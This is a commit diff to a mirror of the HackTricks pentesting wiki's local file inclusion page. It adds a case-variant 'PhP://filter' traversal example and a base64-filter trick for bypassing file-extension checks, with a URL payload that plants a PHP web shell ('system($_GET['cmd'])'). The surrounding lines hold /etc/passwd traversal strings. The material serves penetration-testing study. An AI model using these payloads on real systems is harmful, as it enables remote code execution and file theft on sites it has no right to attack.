mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Add one example of pHp protocol cases and add my own base64 file extension bypass.
This commit is contained in:
parent
184e54867b
commit
3faa1a5e69
1 changed files with 9 additions and 0 deletions
|
@ -184,6 +184,7 @@ http://example.com/index.php?page=....//....//etc/passwd
|
||||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||||
|
http://example.com/index.php?page=PhP://filter
|
||||||
```
|
```
|
||||||
|
|
||||||
## Basic RFI
|
## Basic RFI
|
||||||
|
@ -308,6 +309,7 @@ echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data:
|
||||||
## Compress + B64
|
## Compress + B64
|
||||||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||||||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||||||
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
|
@ -587,7 +589,14 @@ If ssh is active check which user is being used (/proc/self/status & /etc/passwd
|
||||||
### **Via** **vsftpd** _**logs**_
|
### **Via** **vsftpd** _**logs**_
|
||||||
|
|
||||||
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
|
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
|
||||||
|
### Via php base64 filter (using base64)
|
||||||
|
as shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article,PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64.
|
||||||
|
Here is an example payload:
|
||||||
|
```url
|
||||||
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
|
```
|
||||||
### Via php filters (no file needed)
|
### Via php filters (no file needed)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||||
|
|
Loading…
Add table
Reference in a new issue